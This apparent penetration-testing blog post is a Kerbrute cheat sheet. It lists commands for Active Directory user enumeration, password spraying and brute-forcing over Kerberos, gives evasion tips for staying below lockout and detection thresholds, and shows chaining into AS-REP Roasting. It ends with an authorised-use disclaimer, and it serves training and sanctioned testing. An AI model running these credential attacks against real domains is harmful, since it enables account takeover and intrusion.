root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat kerbrute.md
// Active Directory

Kerbrute

21 Jul 2026 · 6 min read
Kerbrute is a tool written in Go for enumerating Active Directory users and performing password spraying by abusing the Kerberos protocol. Instead of authenticating against SMB or LDAP, it sends AS-REQ requests to the Domain Controller: if a user exists but the password is wrong, the KDC responds differently than when the user does not exist, which lets you tell valid accounts apart without generating a conventional failed logon.

The key nuance is that enumeration with userenum is pre-authentication: it does not count as a failed login attempt, so it neither increments the lockout counter nor typically generates event 4625. Spraying, on the other hand, DOES consume attempts: that is why it matters to know the Account Lockout Policy and to use --safe and --delay to avoid locking out accounts and giving away your presence.

1. Beginner level — enumerate and spray

KERBRUTE cheat sheet — Beginner
CommandWhat it does
kerbrute userenum -d dom.local users.txtEnumerates valid users via Kerberos
kerbrute userenum -d dom.local --dc <ip> users.txtSpecifies the Domain Controller
kerbrute passwordspray -d dom.local users.txt Verano24Password spraying with a single password
kerbrute bruteuser -d dom.local pass.txt jdoeBrute-forces passwords against one user
kerbrute bruteforce -d dom.local combos.txtTests username:password pairs
kerbrute userenum -d dom.local -t 50 users.txtAdjusts the number of threads
kerbrute userenum -d dom.local -o valid.txt users.txtSaves the results to a file
kerbrute userenum -d dom.local -v users.txtVerbose mode (also shows failures)
kerbrute passwordspray -d dom.local --dc <ip> users.txt PassSpray while specifying the DC
kerbrute userenum --domain dom.local users.txtLong form of -d
kerbrute passwordspray -d dom.local users.txt Pass1 --delay 200Delay between attempts (ms)
kerbrute -hShows the general help
kerbrute versionShows the installed version
kerbrute userenum -d dom.local users.txt | grep VALIDFilters only the valid users

2. Advanced level — opsec and chaining

KERBRUTE cheat sheet — Advanced
CommandWhat it does
kerbrute passwordspray -d dom.local --safe users.txt PassStops at the first lockout (avoids lockouts)
kerbrute passwordspray -d dom.local -t 1 --delay 1000 users.txt PassSingle thread + delay (opsec)
kerbrute bruteforce -d dom.local -Reads username:password combos from stdin
cat combos.txt | kerbrute bruteforce -d dom.local -Chains via pipe from stdin
kerbrute passwordspray --dc dc01.dom.local -d dom.local users.txt PassDC by FQDN (Kerberos)
kerbrute userenum -d dom.local seclists-users.txtUses a large SecLists wordlist
kerbrute passwordspray -d dom.local users.txt 'Empresa1!' -o hits.txtSaves only the hits
kerbrute bruteuser -d dom.local rockyou.txt administratorBrute-forces the administrator
kerbrute userenum -d dom.local users.txt --dc <ip> -t 10Thread-controlled enum against a DC
kerbrute passwordspray -d dom.local users.txt Invierno24 --safe --delay 500Full stealth spray
kerbrute userenum -d dom.local users.txt 2>/dev/nullSilences network errors
kerbrute passwordspray -d dom.local users.txt Pass | grep +Filters valid credentials
kerbrute userenum -d dom.local users.txt -o -Writes results to stdout
GetNPUsers.py dom/ -usersfile valid.txtChains with Impacket for AS-REP Roasting

3. Details people miss

  • userenum does not lock accounts, spraying does. Enumerating users is pre-auth and does not increment the failure counter; the moment you test passwords with passwordspray or bruteuser you consume real attempts.
  • Before spraying, find out the domain's Account Lockout Policy and use --safe: it stops as soon as it detects the first lockout and avoids locking out half of Active Directory.
  • Kerbrute needs to reach the KDC on the Domain Controller's port 88/tcp. If DNS resolution fails, point to the DC manually with --dc; for tickets by FQDN use the full name, not the IP.
  • Watch the clock: Kerberos rejects requests skewed by more than 5 minutes (KRB_AP_ERR_SKEW). Sync your time with the DC's (for example with ntpdate) before you start.
  • Kerbrute does not crack hashes: the valid accounts it produces (-o valid.txt) are the raw material for chaining with Impacket's GetNPUsers.py to perform AS-REP Roasting.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.